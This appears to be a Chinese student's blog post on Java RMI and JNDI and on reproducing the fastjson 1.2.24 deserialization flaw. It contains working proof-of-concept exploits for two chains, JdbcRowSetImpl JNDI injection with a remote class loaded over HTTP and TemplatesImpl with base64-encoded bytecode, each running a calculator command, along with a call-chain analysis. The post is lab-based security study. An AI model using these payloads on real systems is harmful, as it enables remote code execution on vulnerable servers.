QAQ,感觉自己啥也不会,要好好努力学习了。但是由于本人遗忘度很大,因此要记下来学习QAQ。
Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。
Java RMI极大地依赖于接口。在需要创建一个远程对象的时候,程序员通过传递一个接口来隐藏底层的实现细节。客户端得到的远程对象句柄正好与本地的根代码连接,由后者负责透过网络通信。这样一来,程序员只需关心如何通过自己的接口句柄发送消息。
乱七八糟的一大串,简单来说,RMI就是一个只java远程调用方法的行为。
Java远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议(英语:Wire protocol)。
Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
就是一个接口,可以通过lookup方法访问其所绑定的对象。
继承Remote的HelloService接口:
public interface HelloService extends Remote {
String sayHello() throws RemoteException;
}
HelloService的实现
public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
public HelloServiceImpl() throws RemoteException {
}
@Override
public String sayHello() throws RemoteException {
System.out.println("hello!");
return "hello!";
}
}
RMI服务端
public class RMIServer {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("hello", new HelloServiceImpl());
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}
public class RMIClient {
public static void main(String[] args) {
try {
HelloService helloService = (HelloService)LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("hello");
System.out.println(helloService.sayHello());
} catch (RemoteException e) {
e.printStackTrace();
} catch (NotBoundException e) {
e.printStackTrace();
}
}
}
先执行程序A再执行程序B就会打印hello。
程序A启动了一个RMI的注册中心,并把HelloServiceImpl暴露在注册中心中。程序B启动之后通过命名寻找方法,最后通过JRMP协议发起RMI请求,程序A输出hello后将信息序列化发送给程序B,最后程序B反序列化输出。
反序列化有三个函数:
parse (String text)
parseObject(String text)
parseObject(String text, Class clazz)
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import java.util.Properties;
public class fastjsonTest {
public String t1;
private int t2;
private Boolean t3;
private Properties t4;
private Properties t5;
public String getT1() {
System.out.println("getT1()");
return t1;
}
public void setT1(String t1) {
this.t1 = t1;
System.out.println("setT1()");
}
public int getT2() {
System.out.println("getT2");
return t2;
}
public void setT2(int t2) {
System.out.println("setT2");
this.t2 = t2;
}
public Boolean getT3() {
System.out.println("getT3");
return t3;
}
public Properties getT4() {
System.out.println("getT4");
return t4;
}
public Properties getT5() {
System.out.println("getT5");
return t5;
}
public void setT5(Properties t5) {
System.out.println("setT5");
this.t5 = t5;
}
@Override
public String toString() {
return "fastjsonTest{" +
"t1='" + t1 + '\'' +
", t2=" + t2 +
", t3=" + t3 +
", t4=" + t4 +
", t5=" + t5 +
'}';
}
public static void main(String[] args) {
String jsonstr = "{\"@type\":\"fastjsonTest\",\"t1\":1,\"t2\":2,\"t3\":3,\"t4\":{},\"t5\":{}}";
Object obj = JSON.parse(jsonstr);
// Object obj = JSON.parseObject(jsonstr,fastjsonTest.class);
// Object obj = JSON.parseObject(jsonstr);
System.out.println(obj);
}
}
setT1() 、setT2() 、getT4() 、setT5() 被调用
JSON.parse(jsonstr)最终返回FastJsonTest类的对象
可以看见parseObject(jsonstr,fastjsonTest.class)的输出和parse一样,并且obj的类也相同。
FastJsonTest类中的所有getter与setter都被调用了,并且JSON.parseObject(jsonstr);返回一个JSONObject对象而且其中的getT4还被调用了两次,这究竟是为什么呢?
我们先来总结一下:
分析这里讲得很清楚了,就不复述了。http://blog.topsec.com.cn/fastjson-1-2-24%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e%e6%b7%b1%e5%ba%a6%e5%88%86%e6%9e%90/
因为过程中出现了bug,导致不能远程调用class文件,导致我学了一天才搞懂,虽然过程很自闭,但是还好最后解决了。我们先写一个JNDIserver的代码:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException, AlreadyBoundException, RemoteException {
Registry registry = LocateRegistry.createRegistry(1099);
System.out.println("Java RMI created!port:1099");
Reference reference = new Reference("exploit", "badClassName","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("exploit",referenceWrapper);
}
}
import com.alibaba.fastjson.JSON;
public class JNDIClient {
public static void main(String[] args) {
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://localhost:1099/exploit\", \"autoCommit\":false}";
JSON.parse(PoC);
}
}
import java.io.IOException;
import java.io.Serializable;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
public class badClassName implements ObjectFactory, Serializable {
public badClassName() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException var2) {
var2.printStackTrace();
}
}
public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws Exception {
return null;
}
public static void main(String[] var0) {
new badClassName();
}
}
部署过程先运行JNIDServer然后再编译badClassName生成class文件,利用python启动HTTP服务,最后再启动JNDIClient便可以弹出计算器。
python3 -m http.server 8000(这里不写端口号默认为8000)
这里如果想要成功复现的话需要如下环境:
如果运行完成功弹出计算器,记得看一下http是否被访问,只有被访问,才算成功的复现,如果没访问就弹出计算器是因为在本地加载了class文件。当时为就是一直卡在这里,由于m1的适配问题,为换了一台电脑,但是又因为为Windows的环境问题有一些小bug,不过还好最终解决了。
我们先逆向的分析,这样个人认为比较容易明白。
我们通过对JDNI注入的学习,应该知道JNDI注入是因为lookup的调用,那我们要思考中JdbcRowsetlmpl中哪里触发了lookup函数。
在JdbcRowSetlmpl函数中调用到lookup函数的是connect函数,我们看见lookup的参数是getDataSourceName返回的函数。我们上面总结过中parse中,会调用所有的setter函数,因此datasource是可控的。
在setAutoCommit中调用了connect。因此POC遍显而易见了
{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://localhost:1099/exploit", "autoCommit":false}
这里先总结一下后面的调用链:
Lookup:417,InitalContext //jndi lookup函数通过rmi或者ldap获取恶意类
connect:624,JdbcRowSetlmpl。//通过connect触发lookup
setAutoCommit:4067,JdbcRowSetImpl //通过setAutoCommit从而在后面触发了connect函数
我们再转回去看看
从parse进入,刚开始会调用DefaultJSONParser,这个函数会将token设置为12.
然后我们跟进DefaultJSONParser.parser函数中,
在上面我们说过token被设置为12,因此在这里会跳转到这个位置,
这里获取key值与@type做对比,然后获取class值。继续跟踪
这里调用了getDeserializer生成该类型的反序列化器,但是这里利用了ASM机制动态生成类,但是此类的Java源文件没有,无法进行调试,按照之前的逻辑,在FastjsonASMDeserializer_1_JdbcRowSetImpl中会获取到属性的key值,并通过DefaultFieldDeserializer.parseField方法反序列化属性。
我们进入到deserialize中。
这里将autoCommit作为key值传入。最后通过setValue触发invoke。
后面就是后半段链了。
下面是利用链:
parse#fastjson
paserObject#fastjson
deserialze#JavaBeanDeserializer
parseField#DefaultFieldDeserialzer
setValue#fieldDeserializer
invoke#Method
serAutoCommit#JabcRowSetlmpl
connect#JdbcRowSetlmpl
lookup
还有一个利用链事LADP+RMI原理差不多,就不写了。
前几天复现了一下jdbcRowsetlmpl,今天来分析一下Templatelmpl。个人觉得Templatelmpl链比jdbcRowsetlmpl的要简单一些。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TEMPOC extends AbstractTranslet {
public TEMPOC() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
TEMPOC t = new TEMPOC();
}
}
将这个编译成class文件,再利用python脚步读取class文件进行base64加密。
import base64
fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class POC {
public static void main(String[] args) {
String jsonstr = "{
\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQAIY2FsYy5leGUMACQAJQEAFFRlbXBsYXRlc0ltcGwvVEVNUE9DAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFu
c2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACwAAAA4AAwAAAA0ABAAOAA0ADwAMAAAABAABAA0AAQAOAA8AAQAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABMAAQAOABAAAgAKAAAAGQAAAAMAAAABsQAAAAEACwAAAAYAAQAAABgADAAAAAQAAQARAAkAEgATAAIACgAAACUAAgACAAAACbsABVm3AAZMsQAAAAEACwAAAAoAAgAAABsACAAcAAwAAAAEAAEAFAABABUAAAACABY=\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{ },\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
JSON.parseObject(jsonstr, Feature.SupportNonPublicField);
}
}
我们和上一篇文章一样,先从后面的链进行分析。
在getOutputProperties函数中,调用了newTeansformer函数,我们跟入:
跟入getTransformerImpl函数
在函数中,先判断了_name是否为null,然后调用defineTransletClasses,其中调用了defineClass,defineClass主要的功能就是将字节码转换成class。
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(name, b, off, len, null);
}
最后newInstance将恶意类进行实例化进行命令执行。
下面是前面的分析,因为上一篇文章讲过的原因,这里就简单讲一下重要的地方,这里先将key和默认值进行比对,并且没有打开Feature.DisableSpecialKeyDetect,这个打开会进行关键字检测。然后通过loadclass加载templateslpml
getDeserializer会获取对应类的反序列化器JavaBeanDeserializer
JavaBeanDeserializer会根据偏移量获取到下一个key值_bytecodes
然后经过parseField获取value并设置到object中,
在parseField中跟入
可以看见这里进行了base64解码这就是为什么bytecodes进行base64加密的原因。
我们可以看见这里说fieldinfo一件变成了outputProperties了,这是因为中smartmatch中将_替换成了空。之后会触发setoutputProperties。最后命令执行。
之后木爷告诉我其实不用将java转成class文件。
直接用javasist动态生成字节码就可以了。木爷给的代码:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import java.util.Base64;
public class poc1 {
public static String generateEvil() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clas = pool.makeClass("Evil");
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
String cmd = "Runtime.getRuntime().exec(\"open -a Calculator\");";
clas.makeClassInitializer().insertBefore(cmd);
clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));
clas.writeFile("./");
byte[] bytes = clas.toBytecode();
String EvilCode = Base64.getEncoder().encodeToString(bytes);
System.out.println(EvilCode);
return EvilCode;
}
public static void main(String[] args) throws Exception {
final String GADGAT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String evil = poc1.generateEvil();
String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }," + "\"_name\":\"a\",\"allowedProtocols\":\"all\"}\n";
JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);
}
}
也不知道自己理解的有没有问题,哎,终究是太菜,觉得大佬们都好强。还是要继续努力QAQ。